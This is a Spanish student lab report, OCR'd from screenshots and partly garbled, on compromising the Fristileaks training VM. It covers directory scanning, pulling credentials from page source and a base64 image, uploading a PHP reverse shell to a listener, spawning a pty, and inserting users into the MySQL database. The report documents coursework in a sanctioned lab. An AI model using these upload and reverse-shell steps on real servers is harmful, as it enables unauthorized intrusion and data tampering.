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Introduccidon

En este informe, se presenta la realizacion de la practica de laboratorio presentando
en elque se vio eltemade inyecciénjunto con los demas temas visto anteriormente.

Aqui se evidenciaran los pasos para realizar hacking a un servidor php y obtener el

usuarioy contrasefa de Fristileaks.
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Alcance
Entrar al sistema de la victima.
Generar un archivo con el cual sera explotada la vulnerabilidad del sistema.

Ilustrar por medio de imagenes los pasos realizados para vulnerar el equipo.
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Objetivos
General

Atacar al paciente mediante un archivo infectado para hacer el proceso de post
explotacion.

Especificos

1. Obtener las credenciales del Fristileaks.
2. Explotar a vulnerabilidad del sistema.

3. Ejecutar comando dentro de este.
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Desarrollo

Para el inicio de este laboratorio, se hizo la instalacién de fristileaks suministrado por

eldocente

Factor de escalado:

En el apartado de pantalla se cambio el controlador grafico a VNoxVGA

Pantalla Grabacion

Memaoria de video: 16 MB
128 MB

Miumero de monitores:

Factor de escalado:

Controlador grafico:
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En elapartado de RED se Conecta a la red nat y se cambia la direccién mac a la que
elingeniero suministro. Ya que solo con esta puede rentar dhcp dicha maquina

Red

Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4

v Habilitar adaptador de red
Conectado a2 Red WAT
Mombre:  semestred-2025-1
Tipo de adaptador: | Intel PRO/1000 MT Desktop (32540EM)
Modo promiscuo: | Denegar
Direccion MAC:

v Cable conectado

Puertos serie

Puerto 1

Aceptar Cancelar

Encendemos la maquina y dejamos trabajando en segundo plano

Fristileaks 1.3 vulnerable UM by Ar8xn.
Goal: get root (uwid B) and read the flag file

Thanks to dgi and barrebas for testing!?

IP address:178.288.148.13
localhost login:
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A suvezingresamos a Kali Linux y abrimos terminal de comandos con dirb

http://xxx.xxx.xxx.xxx/ en las (x) debe ir la ip de la victima

~

http://170.200.140.13/

DIRB v2.22
By The Dark Raver

START_TIME: Wed Sep 10 23:11:17 2025
URL_BASE: http://170.200.140.13/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

—— Scanning URL: http://170.200.140.13/ ——

+ http://170.200.140.13/cgi-bin/ (CODE:403|SIZE:210)
—> DIRECTORY: http://170.200.140.13/images/

+ http://170.200.140.13/index.html (CODE:200|SIZE:703)
+ http://170.200.140.13/robots.txt (CODE:200|SIZE:62)

—— Entering directory: http://170.200.140.13/images/ ——
(1) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode "-w' if you want to scan it anyway)

END_TIME: Wed Sep 10 23:11:36 2025
DOWNLOADED: 4612 - FOUND: 3

Al saber cuales la direccion IP Fristileaks, se pegd en el navegador y mostré la pagina
principal de Fristileaks.

17020014015/

KEEP
CALM

AND

DRINK
FRISTI

Fristileaks 2015-12-11 are:


http://xxx.xxx.xxx.xxx/
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Alcoger una de las rutas y pegarla junto con la direccién ip mostré lo que habia en
esa ruta.

#»  170.200.140.15/cola/ X +

&« (G O & 170.200.140.15

Kali Linux # KaliTools ¢ KaliDocs X KaliForums e\ Kali NetHunter Exp

Tomando la ruta, que nos dio el comando y al pegarla en el navegador web arrojoé un
login para acceder al portal admin.

Member Login

Username :
Password :

Login
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esta pagina, se le dio clic derecho para inspeccionarla.

View Page Source

Inspect (Q)

llustracién 1. Inspeccionar.

Alinspeccionar, se pudo observar que en la linea #8 se muestra elnombre de usuario.

=
=
name="description" content="super leet password login-test page. We ussg
FJ
TODO :
We need to clean this up for production. I left some junk in here to make tes

- by eezeepz

[Uelie« L e L L RN N WY I N ]

> Welcome
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Al bajar se encontré un cédigo en base64, el cual contiene la contrasena.

1702 <!--

1703 1VBORwOKG L DAAA : . AAAAAXNSROIArs4c6QAAAARNQUIBAACX
1704 jwv8YQUA Acdv Y g anymrra ni(hkl
1705 SOiAQGYONbO1//

1706 B4EWOAPAiRwB4KkSH

1707 mé63yaP7/XP/5RU X71 "HP[+zJO‘3 f)9+1qd’0ﬂ_ JWNIT5+Rf‘ff)JL,’qTf‘IT!‘ElF)3H?VXJ..
1708 Zv:/’d‘?iﬁ ceorfim <R1+hv’rOR1?2DdeKq ZSOTtMPqGL8LRhzyWjWKkTFDPXFmulC7e81bxnNOvb
1709 ol ; 6

1710

1711 gtWY7syq 'HpINdGFeI'iENmbTr;+r;Dh(+D,uL;9N
1712 « Hlﬂlyf}r mrPUIquHU(q(H_ 5E1JINsX16/1/6BtvvEQzF5YM2ILhyMLz4sNNtp/pSkgl
1713 @ mwziEdZvmSz9EQYbzbI/FSycgV5zZiXDNmS4cjCni+kLRngizX E :

1714 1 GTOSIVsSKC5Zv4+XH36vQzblOVOtIrwb6El a

1715 TﬂHOdr ysrz404sdLPWImulDLUdSpdEsk5vT56tqgls )

1716 300Z0jk3y+pQ9TfnEG41INOCC «rhk@JZKezw b6UMyR52T2B+lwDh++F1
1717 3K/ 2uF. cMmhLzUe2v6n/ dAWG+mLNIKGWIIECK: 8dvOUu4PnkqD12rGuiS8HK
1718 ul91iMrFG9gqa/ qf)RLuSTqF?f‘r’Uthsm'4+zfh GvGTIlsLLhiPbnh6KnLDUI12q
1719 m Rj ?erEzOhqoZ+5IRWIoXNBBZ m+hDU\: IArr:HEU?u’IQ]’S(’)’?XJAI
1720 . OZ g 37alukRkVe

1721 /S7XVF+qmT5UcmT9+

1722 AHg " JHAHIRIwC8yBEAXuUQI,

1723 v g

1724

1725
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Base6t4 to Image

Convert Base64 to image online using a free decoding tool which allows you
browser. In addition, you will receive some basic information about this imag
you will have a special link to download the image to your device. If you are

Baseb64*

iVBORwWOKGZoAAAANSUNEUZAAAWRAAABLCATAAAABAUHGAAAAAXNSROTArsAC6QAAAARNQUIBAACK
Juwv8YQUAAAAT CEhZ cwAADSMAAATDACdvgGQAAARSSURBVHhe7d1RdtsgEIVhr8sL8ngymmwmifkl
SPiAQGYBNbO1/ /dUSQyTedxz2t5+AcCHHAHgRYAASC THAHIRTwC 8y BEAXUQTACOYBTAXOQLAL xw
BAEWOAPAIRwBAkSMAVMgRAF7kCAAvcgSAFzkCwIscAeBF jeDwIkcAeJEJALZIEQBeSAgALSke+f
m63yaP7/XP/5RUM2ix7iMz1ZdqpguZHP1+z1053b9+1gd/OTL2Wul15+RMpIg5tMTKELpaH1VXd ]
7v7/d516gs5e0t9rabUMsR1+WrOR172DbdWKqZS@tMPQG18L RhzyWjWk TFDPXFmulC7e81bxnhOvb

| Decode Base64 to Image |

Preview Image | Toggle Background Color

keKkeKKeKKeKKEKkEk

File Info

¢ Resolution: 365x75

« MIME type: image/png
* Extension: png

e Sjize: 1.18 KB

¢ Download: image.png

llustracién 2. Contrasena. Ese codigo

que se consiguié anteriormentefue convertido en una paginaelcual convierte en una
pagina de base64 aimagenes.
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Ya con el usuario y contrasefa, se pudo realizar el ingreso a la pagina.

Member Login

Username : eezeepz |
Password : keKkeKKeKKeKkEKKEk |

Login |

Aldarle clicen “login” se puede tener accesoy la Unica opcidn que da es la de cargar

archivos.

Al ®  Index of fimages £ 170.200.140.15/fristi/login_

&« & O & 170.200.140.15/fristi/lo

Kali Linux #& KaliTools = KaliDocs # KaliForums e Kali NetHu

Login successful

upload file
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darle clic en la Unica opcidn que aparece, se hace una redireccion para ir a cargar los
archivos y se cargaron en .txt pero esta fue la respuesta a dicho cargue

&« SIEA O & 192.10.0.11

Kali Linux #& KaliTools = KaliDocs % Kali Forums ex Kali NetHunter

no!

Por lo que se accedio6 a las siguientes rutas y se modifico la informacion ip y port por
la que estamos utilizando. Se guarday se sale

[sudajhéontraseﬁa para linux:
/home/1linux

/usr/share/webshells

/usr/share/webshells

Jusr/share/webshells

/usr/share/webshells/php

/usr/share/webshells/php
php-reverse-shell.php /home/linux/Esc

Jhome/linux/Escritorio

php-reverse-shell.php shell.elf
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set_time_limit (0);
s e

B 1.9 ;

200.140.13

= 1400;
null;
null;

‘uname -a;
= 0;
0;

Luego ejecutamos

Jhome/linux/Escritorio

istening on [any] 1234

1
i

Y procedemos a cambiar la url pegando nuestro archivo creado previamente en
Escritorio

3  170.200.140.13/fristi/do_up

= C @ J A& 170.200.140.13

OffSec Kali Linux # KaliTools = KaliDocs % Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

Uploading, please wait
The file has been uploaded to

Luego pegamos esta ruta

http://170.200.140.13/fristif = -+

)0.140.13/fristi/uploads |
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Y posteriormente el nombre de nuestro archivo

* 170.200.140.13/fristifup

() Q 170.200.140.13

OffSec Kali Linux # KaliTools = KaliDocs & Kali Forums e Kali NetHunter Exploit-DB

Y sitodo se hizo correctamente ya tendriamos acceso

/home/kali/Escritorio

3 UTC 2815 x86_64 x86_64

1 0.00, 0.00, 0.0C
IDLE JCPU PCPU WHAT

che)

Siguiendo las indicaciones delingeniero lo que sigue es buscar la manera de escalar
privilegios, una vez hecho crear 2 usuarios y probar que ingresan a la pagina.

Vamos a ir listando y accediendo a las rutas que nos llevaran a el usuarioy la
contrasefa
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root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root

-4.1% pyt imp

python -c
bash-4.1% i

"import pty;pty.

4@96
L4@96
L4@96

@
L4@96

PLy;pLy.spawni
spawn( " /bin/bash”™)

.autofsck
.autorelabel
bin

boot

dewv

etc

home

lib

lib&4
lost+found
media

mnt

opt

proc

root
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root 4896
r-x. root 4096 J 14 L.
-I'W-T—Ir— I t root T f 114 .autofsck
-I'W-T—Ir— I t root g f .autorelabel
] : root 4 7 bin
root B2 J y boot
root @ Se J 14 dev
root 4096 J 14 etc
root ] home
root 4@ r 17 26 lib
root : r 17 2 libe4
root ' lost+found
root 4896 S¢ media
root 4096 17 y mnt
root 4096 137 : opt
root B Se f :13 proc
root 4096 ] root
root : ¢ 11 shin
root 4096 17 selinux
root 4096 Se y STV
root ] f :13 sys
root 4096 f : tmp
root 4896 17 usr
root 4896 ] 2€ var
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e

-la

root
root
root
root
root
root
root

root
root
root
root
root
root
root

root
root
root
root
root
fris
root
root

cache

db

empty
fristigod
games

lib

local

1

log

mail — spool/mail

nis

opt
preserve
run
spool
tmp

s

vp

cgi-bin
Brror
html
icons
notes.
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apache apache
root root

= apache

= apache

apache

= apache

apache

7
1
1
1
1
1
1
1
1
1

4896

beer

5 cola

fristi

checklogin.php
do_upload.php

index.php — main_login.php

login_success.php
logout.php
main_login.php
pic.b64

pic2.b64
upload.php
uploads
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4.1% cat checklogin.php
_hegklogln php

! Ho;f name
Mysgl username
Mysqgl password
Database name

" Connect to server a ] 2
mysgl_connect("$host™, °§ ame $password” Jor die("cannot connect”);
mysgl_select_db( "$db_name” Jor die( Lannof select DB");

" Define $myusername and $mypassword
$myusername=%$_POST[ "'myusername' ] ;
$mypassword=%_POST[ 'mypassword’ ];

" To protect MySQOL injection (more detail about MySQL injection)
$myusername stripslashes($myusername);
$mypassword JTxlp;la:hﬂ limypqasmnxdﬁ,
$myusername mysql_ ; e_string($myusername);
$mypassword = mysqgl_r escape_string($mypassword);
$sql="SELECT * FROM $tbl_name WHERE username="$myusername’ and password='$%mypass
word'";
$result=mysql_query($sql);

Luego de tener las credenciales solo seria ingresar y crear los usuarios

mysqL> = dCEmMenow,;

use hackmenow;

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

changed
show tables;

es_in_hackmenow
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mysgl> describe members;
describe members;

Field Type Extra

int(4)
varchar(
varchar(

id
usarname
password

N auto_increment

65)
65) | N

+
I

+
I
I
I

+

+
I

+
I
I
I

+

W ot ——— o — +

rows in set (B.86 sec)

mysql> |

mysql> insert into members (username, password) values ('seguridad’, ‘autoria’');
Query 0K, 1 row affected (0.85 sec)word) values ('seguridad’', ‘autoria’};

mysql> insert into members (username, password) values (‘casa’, 'sola’);
insert into members (username, password) values ('casa', 'sola');
Query OK, 1 row affected (0.00 sec)

mysql> JJ

mysgLl> use hackmenow;

use hackmenow;

Reading table information for completion of table and column names
You can turn off this feature to get a guicker startup with -A

Database changed
mysglL>

mysql> INSERT INTO members (username, password )
VALUES
( "usuariol”, "clawvel®),
{ "usuarioz2”, “"clave2”);INSERT INTO members (username, password)
—» VALUES
= ( "usuariol”, "clawvel”),
—
( "usuario2”, "clave2");
Query 0K, 2 rows affected (@.80 sec)
Records: 2 Duplicates: @ Warnings: @

mysglL> select * from members
select * from members
—>

Vobol

(=
o
§ o —— =

username password

kekKkkeKKekKKeKkEKKEK
clavel
clave2

eeZeepz
usuariol

-
|
-
|
|
usuarioz |

[FEI S

.
|

&
!
!
|

&

o~
in set (@.080 sec)

W e o = o

ﬂ
]
E
[

£l
Lo
n
=]
—
W
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Prueba de Usuarios

Welcome to #fristileaks admin portal

Member Login

Username : | usuariol

Password : |clave]

| Login|

Ingreso exitoso

Login successful

upload file
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